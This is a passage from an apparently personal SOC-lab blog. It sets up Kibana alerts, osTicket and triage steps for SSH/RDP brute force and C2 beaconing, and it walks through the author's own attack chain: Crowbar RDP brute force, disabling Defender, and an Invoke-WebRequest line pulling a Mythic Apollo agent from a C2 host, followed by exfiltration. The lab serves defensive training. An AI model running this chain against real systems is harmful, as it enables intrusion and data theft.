/></figure><p>Next, I headed to Analytic -&gt; Map to create a dashboard for SSH Brute Force Activities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fx7BGfOAIL38izROrn7PcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*lr_no3lC0_auIS9p51oSEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ObTGmzhc0lRMAdjWZBMwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-4TLJ3cbDzd26urC6jM-PQ.png" /></figure><p><strong>Day 7: Understand Remote Desktop Protocol</strong></p><p>Objective:</p><ul><li>What is RDP?</li><li>Why is it used?</li><li>How does it get abused?</li><li>How to find endpoints with exposed RDP?</li><li>How to mitigate this attack?</li></ul><p><a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol"><strong>What is RDP?</strong></a></p><p>Remote Desktop Protocol (RDP) allows you to connect to and control another computer over a network, providing a graphical interface to interact with the remote machine (uses port 3389). It uses encryption (within TCP) to ensure secure data transfer between the client and host computers.</p><p><strong>Why is it used?</strong></p><p>This is useful for tasks like accessing files, running applications, or providing technical support remotely.</p><p><strong>How does it get abused?</strong></p><p>RDP can be abused by cybercriminals in several ways:</p><ul><li><strong>Unauthorized Access:</strong> Attackers can exploit weak passwords or unpatched vulnerabilities to gain unauthorized access to systems.</li><li><strong>Lateral Movement:</strong> Once inside, they can move laterally across the network, accessing other systems and sensitive data.</li><li><strong>Malware Distribution:</strong> Compromised RDP sessions can be used to install malware, such as ransomware, which can encrypt files and demand a ransom for their release.</li><li><strong>Data Exfiltration:</strong> Attackers can use RDP to exfiltrate sensitive data from the compromised systems</li></ul><p><strong>How to find exposed RDP servers?</strong></p><ol><li>Shodan.io:</li></ol><p>By looking up port 3389 on Shodan, you will be able to find a bunch of exposed RDP servers. <strong>Note: please DO NOT attempt to attack those servers.</strong></p><p>2. Censys:</p><p>Similar to Shodan, one can simply look up port 3389, and they will be able to find a lot of good information.</p><p><strong>How to mitigate this attack?</strong></p><ol><li>Turn it off if you don’t need it. Frequently check if your servers are exposed on either Shodan or Censys.</li><li>Implement MFA on your servers.</li><li>Restrict access, such as using firewall rules (e.g.: putting your servers behind a VPN) or least privilege.</li><li>Strong password policy (change password periodically &amp; use complex password)</li><li>Don’t use default accounts; instead, create accounts specific for administration.</li><li>Stay vigilant</li></ol><p><strong>Week 3:</strong></p><p><strong>Day 1: Create Alerts and Dashboards in Kibana (Part 2)</strong></p><p>Objective:</p><ul><li>Create alerts based on observation of authentication logs from Windows server, MyDFIR-WIN-khoatran (e.g.: RDP Brute Force)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orSVOR2oFzROXUq-Ohve2g.png" /><figcaption>Event ID 4625 (Failed Logon)</figcaption></figure><p>To create meaningful alerts with detailed information, I navigated to Security -&gt; Alerts -&gt; Detection Rules (SIEM) -&gt; Create New Rule. I am aware of these alerts could be getting chatty. However, it is intentional because I want to see if they work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o7io7VqemcvUloG1PDxidw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tH_eL6yEcmCCgMu-2XvdyQ.png" /><figcaption>SSH Brute Force Rule</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yum0iI7MRNWePD20Vsa0Kg.png" /><figcaption>RDP Brute Force Rule</figcaption></figure><p><strong>Day 2: Create Alerts and Dashboards in Kibana (Part 3)</strong></p><p>Objective:</p><ul><li>Create a dashboard for RDP Brute Force activity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LUgNA1IMQA9IhG8o2Q_ZVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FJZxIwSJfU0zKF3umwMO7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1PVvT4DJRuC0zqX55ZWcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmJzkOnNWOwrkxRRuFA_Jg.png" /><figcaption>Create visualization</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KKb9P_rTOusTBcxYohcysw.png" /></figure><p><strong>Day 3: Understanding Command and Control</strong></p><p>Objective:</p><ul><li>What is Command and Control?</li><li>Why is it important?</li><li>What are some tools/ or frameworks?</li><li>What is Mythic and how does it work?</li></ul><p><strong>What is Command and Control?</strong></p><p>Command and Control (C2) refers to the way cyber attackers communicate with and control compromised devices within a network.</p><ul><li><strong>Command:</strong> The attacker sends instructions to the infected devices.</li><li><strong>Control:</strong> The attacker receives data from these devices and can manipulate them.</li></ul><p><strong>Why is it important to establish C2C?</strong></p><p>Attackers can cause on further damage to the victims.</p><p><strong>What are common tools and frameworks?</strong></p><p>There are many, but I will include 4:</p><ul><li>Rapid7’s Metasploit</li><li>Fortra’s Cobalt Strike (RedCanary &amp; DFIR Report have great resources to detect Cobalt Strike activities)</li><li>Bishopfox’s Sliver (an opensource alternative to Cobalt Strike)</li><li>Cody Thomas’s Mythic</li></ul><p><strong>Day 4: Creating an Attack Diagram</strong></p><p>Objective:</p><ul><li>Create an attack diagram that maps out the planning attack</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*db04_bS30g1vsNOg-vDd4Q.jpeg" /><figcaption>Attack Diagram</figcaption></figure><p>This attack diagram illustrates a step-by-step compromise of a Windows Server through RDP brute-force. In the<strong> Initial Access</strong> phase, the attacker utilizes a Kali Linux machine to launch brute-force attempts against the server’s RDP service. After successfully authenticating, the attacker gains access and begins the <strong>Discovery</strong> phase by executing reconnaissance commands like <em>whoami, ipconfig, net group, net user, gpresult /r, etc. </em>to gather information on the compromised system’s user accounts, network configuration, and privileges. The attack then moves to<strong> Defense Evasion</strong>, where the attacker disables Windows Defender to avoid detection, making it easier to persist and execute further actions on the system.</p><p>In the <strong>Execution</strong> and<strong> Command and Control (C2)</strong> phases, the attacker leverages a PowerShell Invoke-Expression (IEX) command to download and execute a Mythic Agent from their Command-and-Control server. This agent maintains communication with the Mythic C2 server, enabling remote control of the compromised Windows Server. The final phase, <strong>Exfiltration</strong>, shows the attacker creating a fake password.txt file and downloading it through the C2 channel, demonstrating their ability to extract data from the target system. This attack chain highlights the importance of securing RDP services and monitoring for common attacker techniques like brute-forcing, PowerShell execution, and disabling security features.</p><p><strong>Key Insights:</strong></p><ul><li><strong>Attack Vector</strong>: RDP brute-force leading to initial compromise.</li><li><strong>Discovery Phase</strong>: Attacker gathers internal system and network information using built-in Windows commands.</li><li><strong>Defense Evasion</strong>: Disabling of Windows Defender to avoid detection.</li><li><strong>Command and Control (C2)</strong>: Mythic Agent is used to maintain control of the system and exfiltrate data.</li><li><strong>Exfiltration</strong>: Minimal but demonstrates the ability to extract data from the compromised server.</li></ul><p><strong>Day 5: Setup Mythic C2 Server</strong></p><p>Objective:</p><ul><li>Setup Mythic C2 Server and learn how Mythic works</li></ul><p>I used Ubuntu 24.02 for my Mythic C2 server. After successfully deploying the server, I went ahead and upgrade the packages on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_dSlFsYZzWVwpMQ_WxhnA.png" /></figure><p>Next, I installed Docker Compose (<em>apt install docker-compose</em>) and make (<em>apt install make.</em>) Docker Compose simplifies the management of multi-container Docker applications by using a docker-compose.yml file to define services, networks, and volumes, allowing easy orchestration with commands like docker-compose up. Make is a build automation tool that can streamline tasks like building containers or running tests by defining commands in a Makefile. Together, they automate and simplify workflows in containerized environments, making development and deployment more efficient.</p><p>A C2 (Command and Control) server benefits from using Docker Compose and Make to streamline deployment, scaling, and management of its components. Docker Compose allows the C2 server to run multiple services (e.g., the C2 server backend, database, and any agents) as separate, isolated containers that are networked together, making it easier to manage and scale the infrastructure. Make automates repetitive tasks, such as building Docker images, starting containers, and setting up the environment, ensuring consistent and efficient deployment of the C2 server and its related services with minimal manual intervention.</p><p>Subsequently, I cloned the github of <a href="https://github.com/its-a-feature/Mythic">Mythic</a> on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*-1CQcpr5bzez7lo2UAeNDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vaPPHUQRlN_rxTc8fx1A5g.png" /><figcaption>Invoke that script to download Mythic on Ubuntu OS</figcaption></figure><p>Let’s check our Docker’s status to see if it is active (if not, restart it with <em>systemctl restart docker.</em>) Under Mythic directory, type in command <em>make </em>to create a Mythic container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iE540LmuZufy15pNUGJAXQ.png" /><figcaption>Docker is running</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OiBWfy95I6F-d9lpsJdYJg.png" /></figure><p>To start Mythic, I entered the command “<em>./mythic-cli start” </em>under Mythic directory. A quick reminder to myself to harden the firewall rules on my Mythic server to only allow trusted IP addresses to communicate with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WctTZ1iHOFaOkLFfngmlHw.png" /><figcaption>I will login to my Mythic server’s Web UI via port 7443</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WIAQHT7monr0g6voD20fJw.png" /></figure><p>You can find the password to your Mythic server by entering the command <em>ls-la </em>(the configuration file, .env, is hidden) and following up with <em>cat .env | grep “MYTHIC_ADMIN_PASSWORD.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1Ak2Bvl_zMmYuGNj5z1YA.png" /><figcaption>Mythic C2 Server</figcaption></figure><p><strong>Day 6: Setup Mythic Agent</strong></p><p>Objective:</p><ul><li>Learn how to perform a brute force attack (Phase 1, 2, 3, and 4 on our attack diagram)</li><li>Generate Mythic agents and establish C2</li></ul><p>On my Windows Server, under Documents, I created a password.txt that contains the current password to my server. <strong>NOTE: </strong>make sure you have a Kali Linux machine ready to perform the attack (this machine will not be in the cloud.)</p><p>On my Kali Linux machine, I proceeded to prepare the dictionary, which I was using to roll out the brute force attack. For the simplicity&#39;s sake of this project, I will only use the first 50 passwords from rockyou.txt, but I tweaked this file to have the right password to my Windows Server, for proof-of-concept purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gBLFvKHTirbIbMKTFfMS0w.png" /></figure><p>For this brute force attack, I am going to use <a href="https://www.kali.org/tools/crowbar/">Crowbar</a>.</p><p>Let’s begin our Phase 1: Initial Access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XX3NbaWHTf4zhsBnMEhcfw.png" /></figure><ul><li>I used /32 because I only wanted to target one specific IP address, which was my Windows Server’s public IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*JfknTF_BuHLo6zwjQJUpUw.png" /><figcaption>RDP Brute Force success</figcaption></figure><ul><li>Next, I used xfreerdp to RDP into my Windows Server with the credentials grabbed by crowbar. You can use the following syntax as an example:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*1jem9WYFLleHni7QGiYC8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCM57KrEwIokjtpJj4AGzg.png" /><figcaption>Successfully RDP into my server via port 3389</figcaption></figure><p>For Phase 2, I would not disclose too much information here, but the idea is to execute basic discovery command on cmd.</p><ul><li>Windows: <a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery, Technique T1082 — Enterprise | MITRE ATT&amp;CK®</a></li><li>Linux: <a href="https://www.cybrary.it/blog/linux-commands-used-attackers">Linux Commands Most Used by Attackers | Cybrary</a></li></ul><p>On Phase 3: Defense Evasion let’s disable Windows Defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*eLDZlMMaNc-yoN7xi3ENVQ.png" /></figure><p>On Phase 4: Execution, I rolled out the<a href="https://github.com/MythicAgents"> Mythic Agent</a> on the Windows Server. I used<a href="https://github.com/MythicAgents/Apollo"> Apollo agent</a> on this project.</p><ul><li>Firstly, I headed to my Mythic server -&gt; mythic-cli to install the agent. You can follow the instructions from <a href="https://github.com/MythicAgents/Apollo">GitHub — MythicAgents/Apollo: A .NET Framework 4.0 Windows Agent</a> to install your agent.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0prz88CtVC-d64ajIRlGw.png" /><figcaption>Apollo agent has been successfully installed</figcaption></figure><ul><li>Secondly, I proceeded to create a <a href="https://github.com/MythicC2Profiles">Mythic C2 profile</a>. I used http repo on this project.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*Jasj0nOs4vp3CNB_o-2xOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ncilFPprgUS-eGiR79yhtg.png" /><figcaption>Now I had both C2 Agent and Profile set up</figcaption></figure><ul><li>Finally, I created a payload to save the payload’s URL into a .txt file. You can also change your payload name on the server by using Linux command <em>mv. </em>On the Mythic server, I created a new directory called “1” and moved the payload to that directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6IM176g5YUAMtuyxflrTbQ.png" /><figcaption>The payload will return information back to my Mythic server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ho1U8cl3M9K1S3NqViw4cg.png" /><figcaption>Getting the payload ready on my Mythic server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*4D3OnCZZdN0R9IEqJWpGbQ.png" /></figure><p>On Phase 5: Command and Control</p><ul><li>I navigated back to the RDP session on my Kali Linux machine to perform the PowerShell scripting. Before doing that, I ensured my Mythic server was acting as a web server on port 9999.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*M-J8ObODjw53tt8qyCKFng.png" /><figcaption>Mythic server is serving as a http server via port 9999</figcaption></figure><figure><img alt="Invoke-WebRequest -Uri http://[REDACTED]:9999/msedge-khoatran.exe -OutFile “C:\Users\Public\Downloads”" src="https://cdn-images-1.medium.com/max/1024/1*d2xL533MO9i0ajVm5z5IKg.png" /><figcaption>Invoke-WebRequest -Uri <a href="http://66.42.81.24:9999/msedge-khoatran.exe">http://[REDACTED]:9999/msedge-khoatran.exe</a> -OutFile “C:\Users\Public\Downloads\msedge-khoatran.exe” to send that payload to Downloads folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*NeNTNq8x9KNdt5oL_h_1Kg.png" /><figcaption>Execution was a success</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*avhT-Bdcy8QgWTbTsTbAhQ.png" /><figcaption>Confirmed that my payload was running</figcaption></figure><ul><li>This is the list of available C2 commands on Apollo agent: <a href="https://66.42.81.24:7443/docs/agents/apollo/commands/">Commands: Mythic Agent Documentation</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVogQY-BrE-jFOiQYxNiIA.png" /><figcaption>Successfully established a C2 session</figcaption></figure><p>On Phase 6: Exfiltration, I proceeded to grab the password.txt from Windows Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5DOu-yBOsLOF8ELS91vwA.png" /><figcaption>Data exfiltration was successful</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sm2RnHSq9vtHRDIV7a-cGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-hofCn7qKVlbwkhhRxybQ.png" /></figure><p><strong>Day 7: Create Alerts and Dashboards in Kibana (Part 4 — Final)</strong></p><p>Objective:</p><ul><li>Create an alert and dashboard based on the telemetry generated by Mythic</li></ul><p>Based on part 1, 2, and 3 of this topic, I will not go over the procedure of creating the dashboard and alert. Instead, I will list the logic behind the process of alert creation.</p><p>When setting up your alert or dashboard, you should include several key columns. These columns are <em>Time Stamp, Hostname, Username, User SID, Source IP, Destination IP, Source Country, Destination Country, Event Code, Original File Name or Image File Name, Image File Path, File Hash, Parent Command Line, and Command Line</em>. Different sources might use different names for these columns, but you can look for these keywords.</p><p>In the context of using Windows and Sysmon, you should focus on event codes 1 and 3. Event code 1 pertains to process creation, while event code 3 relates to external network connections. Additionally, it’s important to monitor for Defense Evasion activities, such as when Windows Defender is disabled, which is indicated by event code 5001.</p><p>Furthermore, you should be vigilant for abnormal activities. This includes unfamiliar source or destination IP addresses and countries. You can fine-tune your query to filter out these anomalies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSBw_6ocYplQZ330dR0ucA.png" /></figure><p><strong>Week 4:</strong></p><p><strong>Day 1: Understanding Ticketing System</strong></p><p>Objective:</p><ul><li>Learn about ticketing system</li><li>Introduction to osTicket</li></ul><p><strong>What is a ticketing system?</strong></p><p>A ticketing system is a software tool designed to manage and streamline the process of handling service requests, incidents, and support queries. Popular ones include ServiceNow, Jira, etc.</p><p><strong>What is osTicket?</strong></p><p>osTicket is an open-source help desk and ticketing system that is popular for its simplicity and cost-effectiveness. Key features include:</p><ul><li><em>Centralized Ticket Management: </em>Consolidates support requests from various channels.</li><li><em>Automated Workflows:</em> Automates ticket routing and assignment.</li><li><em>Customizable Reporting:</em> Provides insights into support performance.</li><li><em>Knowledge Base Integration:</em> Helps users find solutions to common issues.</li></ul><p><strong>Day 2: Setup osTicket Server</strong></p><p>Objective:</p><ul><li>Setup and configure osTicket</li></ul><p>Firstly, I created a server for osTicket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7JgwQTi_RXU0BVLEDUot_A.png" /></figure><p>Since we are going to spin off a web server, I added some firewall rules to only allow trusted IP addresses to login to this server. I used Apache’s XAMPP software package to be my web server. <a href="https://www.apachefriends.org/download.html">Apache XAMPP</a> is a free software package that includes Apache, MariaDB, PHP, and Perl, allowing you to set up a local web server on your computer easily. It’s designed for web development and testing without needing an internet connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S7sOVL6fXpvYZ6NXMfcBQQ.png" /></figure><p>After the file was downloaded, I ran the setup configuration (leave everything as default.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4G1nDDmSpi45MaDFLEsP6g.png" /></figure><p>From the C folder -&gt; xampp -&gt; I modified the properties file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OunLfGQvEm2byU1J8KnjnA.png" /></figure><p>Next, I navigated to localhost/phpmyadmin/ on a browser -&gt; User Account -&gt; localhost@root -&gt; Login Information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epC0gpVjaLhGB4G4k_V-dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iemuo9MqzWbep01S0AZN7A.png" /></figure><p>After authorizing the localhost, I navigated to the PHPMyAdmin to modify config.inc.php (make sure you have a backup version of this file.) Change the host IP address &amp; add the password that you set from the previous step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wvT7DTC3xqC0GaTtTaQv7A.png" /></figure><p>I also added an inbound rule on my osTicket server to allow incoming TCP traffics from trusted IP addresses via port 80 and 443. Lastly, start Apache and MySQL services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xc3QRI_Ccxf3LX1GJ-vS_Q.png" /></figure><p>Subsequently, I downloaded <a href="https://osticket.com/editions/">osTicket</a> on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwmBZPH8tIozD2LVoRMaOA.png" /><figcaption>You should download a .zip, so make sure to unzip all files</figcaption></figure><p>Within the xampp folder -&gt; htdocs -&gt; create a new folder for osTicket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0z73aB_3VcKgV_qHNyv6PA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBvBSCwQ1rZaSgmtCIorFw.png" /><figcaption>Copy these two folders from osTicket.zip to the newly created folder within htdocs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCXQ8TKo7qczE40y7mtb5g.png" /><figcaption>Enter your server’s public IP address *<em>ip address*/osTicket/upload on the URL</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*CUeJhQdE6Rgas7vflFGuXQ.png" /><figcaption>You will encounter this error, so let’s troubleshoot!</figcaption></figure><p>Within htdocs -&gt; osTicket -&gt; upload -&gt; include -&gt; rename the “ost-sample.config.php” file to “ost-config.php”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRFh22OBLKZKAUnDrW9GZw.png" /><figcaption>Once finished, go back to the configuration site and click Continue</figcaption></figure><p>I navigated back to the PHPMyAdmin site to create a database for osTicket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nywH2-ViCB8-Nt4HvlkA3g.png" /></figure><p>After creating the database, I granted the root account @ my server’s public IP address privileges on that database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fjrWoT6EPK5yzi30t5qphw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*DO7soQXkStftZLF_lQqDmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*1LcZQQ2r-BAddKY0F9tX2A.png" /><figcaption>Make sure you note down the osTicket and Staff Control Panel URLs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*N3HLs2Vg_3NwSGGFFP344Q.png" /></figure><p>I navigated to the Staff Control Panel site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-Qet5tH2opreO6tj2c5lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W2_hOMiYwYlyf7SPb9xSWA.png" /></figure><p>Finally, since this server is in the same Virtual Private Cloud as the ELK server, I ensured that the osTicket server had the private IP address within the same subnet as the ELK server.</p><p><strong>Day 3: Setup osTicket with ELK</strong></p><p>Objective:</p><ul><li>Integrate osTicket with ELK and send a test alert into osTicket</li></ul><p>Firstly, I navigated to the Staff Control Panel -&gt; Admin Panel -&gt; Manage -&gt; API -&gt; Add New API Key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*NaI3tQTXWjqvv0tjgvQf8Q.png" /><figcaption>Check “Can Create Tickets” -&gt; then click “Add Key”</figcaption></figure><p>Next, I logged in to my Elastic Web UI -&gt; Management -&gt; Stack Management -&gt; Connectors (you will need the 30-day trial to use the API feature.) After configuring the osTicket API, I used the following repo to test the ticketing system <a href="https://github.com/osTicket/osTicket/blob/develop/setup/doc/api/tickets.md">osTicket/setup/doc/api/tickets.md at develop · osTicket/osTicket · GitHub</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLGAykS0qk5_yzWXznA46g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*f7k7jLqSe6RilRMh5GeCEw.png" /><figcaption>Then click “Save and Test”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*YZeloUVCPlZ8OIsrTRYdwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*3595QDpJ9bf5fqkPV6xG_Q.png" /><figcaption>Test Ticket</figcaption></figure><p><strong>Day 4 &amp; 5: SSH and RDP Brute Force Alert Investigation</strong></p><ol><li><strong>Analyze the alert:</strong></li></ol><p>Begin by identifying the SSH or RDP brute-force alert in your system. Navigate to the <strong>“Security”</strong> section, where you can find the “<strong>Rules” </strong>or <strong>“Alerts”</strong> table. Focus on the columns:</p><ul><li><strong>Source IP</strong>: Identify the external IP suspected of launching the brute-force attempts.</li><li><strong>Destination IP</strong>: Verify which server or endpoint is being targeted.</li><li><strong>Event Action</strong>: Look for “authentication_failed” or similar actions that indicate multiple failed SSH OR RDP login attempts.</li><li><strong>Count of Attempts</strong>: Assess the number of failed attempts to confirm a brute-force pattern.</li></ul><p>2. <strong>Triage the alert:</strong></p><ul><li><strong>Verify Frequency</strong>: Check how many attempts occurred in a short time frame by filtering based on the <strong>“Timestamp”</strong> column. Multiple failed login attempts in rapid succession from the same IP indicate brute force.</li><li><strong>Check for Success</strong>: Use the <strong>“Event Outcome”</strong> column to see if any successful SSH or RDP logins occurred after the failed attempts. If a login was successful, escalate the investigation immediately.</li></ul><p>3. <strong>Investigate the source IP:</strong></p><p>Scan the <strong>Source IP</strong> using open-source threat intelligence tools:</p><ul><li><strong>VirusTotal</strong>: Check if the IP address has been flagged as malicious.</li><li><strong>CriminalIP</strong>: Look for geolocation, reputation, and detailed threat analysis on the IP.</li><li><strong>Cisco Talos</strong>: Check the IP’s history and any known malicious activity.</li><li><strong>MetaDefender</strong>: Analyze the IP for potential threats based on shared intelligence.</li></ul><p>4. <strong>Escalation or Resolution:</strong></p><p>Based on the findings, decide if the incident needs further escalation (e.g., if the IP is marked as malicious or a successful login was detected) or if it can be resolved by blocking the IP and increasing logging for further monitoring. You can update your analysis on the ticket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dZvrQ7IJsMKLrzEE2ba-EA.png" /><figcaption>You can modify existing rules to add Action. If you want to embed the Rule URL, you will need to configure the kibana.yml file’s server.publicBaseUrl section then restart the ELK server.</figcaption></figure><p><strong>Day 6: C2 Beacon Activity Alert Investigation</strong></p><p>When the alert rule gets triggered:</p><ol><li><strong>Identify Suspicious Network Traffic</strong></li></ol><ul><li><strong>Data Source</strong>: Network Logs</li><li><strong>Columns</strong>: source.ip, destination.ip, source.port, destination.port, protocol, timestamp, bytes_sent, bytes_received.</li></ul><p>Look for:</p><ul><li><strong>High-frequency, low-volume traffic</strong>: C2 traffic often involves repeated connections over HTTP/HTTPS or DNS on unusual ports (e.g., non-standard TCP/UDP ports).</li><li><strong>Unusual IPs or domains</strong>: Connections to uncommon geographies or blacklisted domains (use GeoIP and Threat Intelligence).</li><li>Use <strong>Sysmon Event ID 3 (Network connection detected)</strong> to identify which processes initiate the suspicious connections. Look at Destination IP, Source Port, and Destination Port to detect anomalies.</li></ul><p>2. <strong>Investigate Process Creation and Execution</strong></p><ul><li><strong>Data Source</strong>: Windows Security Logs, Sysmon Logs</li><li><strong>Relevant Event IDs</strong>:<br>- <strong>Windows Event ID 4688</strong>: Process creation<br>- <strong>Sysmon Event ID 1</strong>: Process creation</li><li><strong>Columns</strong>: Timestamp, Process.FileName, Process.CommandLine, Process.ParentFileName, Process.ParentCommandLine, User.Name, User.SID, Process.PID, Process.ParentPID, File.Hash</li></ul><p>Check for:</p><ul><li><strong>Suspicious processes</strong>: Newly created processes not commonly observed or those mimicking system services (e.g., svchost.exe, rundll32.exe).</li><li><strong>Command line arguments</strong>: Unexpected or suspicious arguments such as encoding, or PowerShell scripts often signal malicious intent.</li><li>Look at <strong>Sysmon Event ID 1</strong> and <strong>Windows Event ID 4688</strong> to track processes associated with beaconing. Investigate if the parent process seems legitimate, which helps uncover living-off-the-land binaries (LOLBins).</li></ul><p>3. <strong>Monitor File Creation and Access</strong></p><ul><li><strong>Data Source</strong>: Windows Event Logs, Sysmon Logs (Elastic SIEM’s “File Events” table)</li><li><strong>Relevant Event IDs</strong>: <br>- <strong>Windows Event ID 4663</strong>: File access<br>- <strong>Sysmon Event ID 7</strong>: Image loaded (DLL)<br>- <strong>Sysmon Event ID 11</strong>: File creation</li><li><strong>Columns</strong>: Timestamp, File.Path, File.Name, File.Hash, Process.FileName, Process.PID, Process.CommandLine, User.Name</li></ul><p>Check for:</p><ul><li><strong>Unauthorized file access or modifications</strong>: Especially in directories like C:\Windows\System32\ or C:\Users\&lt;username&gt;\AppData\.</li><li><strong>DLL injection or loading</strong>: Use Sysmon Event ID 7 to detect suspicious dynamic link library (DLL) loads. Attackers often inject malicious DLLs to evade detection.</li><li>Investigate unusual file hash values by submitting them to open-source services like <strong>VirusTotal</strong>, <strong>MetaDefender</strong>, or <strong>Hybrid Analysis</strong>.</li></ul><p>4. <strong>Monitor Network Connections and Firewall Events</strong></p><ul><li><strong>Data Source</strong>: Windows Firewall Logs, Sysmon Logs</li><li><strong>Relevant Event IDs</strong>:<br>- <strong>Windows Event ID 5156</strong>: Allowed connection via Windows Filtering Platform<br>- <strong>Sysmon Event ID 3</strong>: Network connection detected</li><li><strong>Columns</strong>: Timestamp, Source.IP, Destination.IP, Protocol, Source.Port, Destination.Port, Process.FileName, Process.CommandLine, Process.PID, User.Name</li></ul><p>Look for:</p><ul><li><strong>Outbound connections to uncommon or known malicious IPs</strong>. Regularly, C2 traffic will appear as outbound connections to external hosts over a high port.</li><li><strong>Blocked or allowed traffic</strong> based on firewall rules (Event ID 5156).</li><li>Investigate suspicious IP addresses using <strong>Abuse CH</strong>, <strong>Cisco Talos</strong>, or <strong>CriminalIP</strong>.</li></ul><p>5. <strong>Analyze Registry Key and Service Changes</strong></p><ul><li><strong>Data Source</strong>: Sysmon Logs</li><li><strong>Relevant Event IDs:<br>- Sysmon Event ID 12</strong>: Registry object added/modified<br>- <strong>Sysmon Event ID 13</strong>: Registry key deleted<br>- <strong>Sysmon Event ID 17</strong>: Driver loaded</li><li><strong>Columns</strong>: Timestamp, Registry.Path, Registry.KeyName, Process.FileName, Process.CommandLine, User.Name, User.SID</li></ul><p>Look for:</p><ul><li><strong>Registry changes</strong> that add persistence mechanisms, such as startup keys 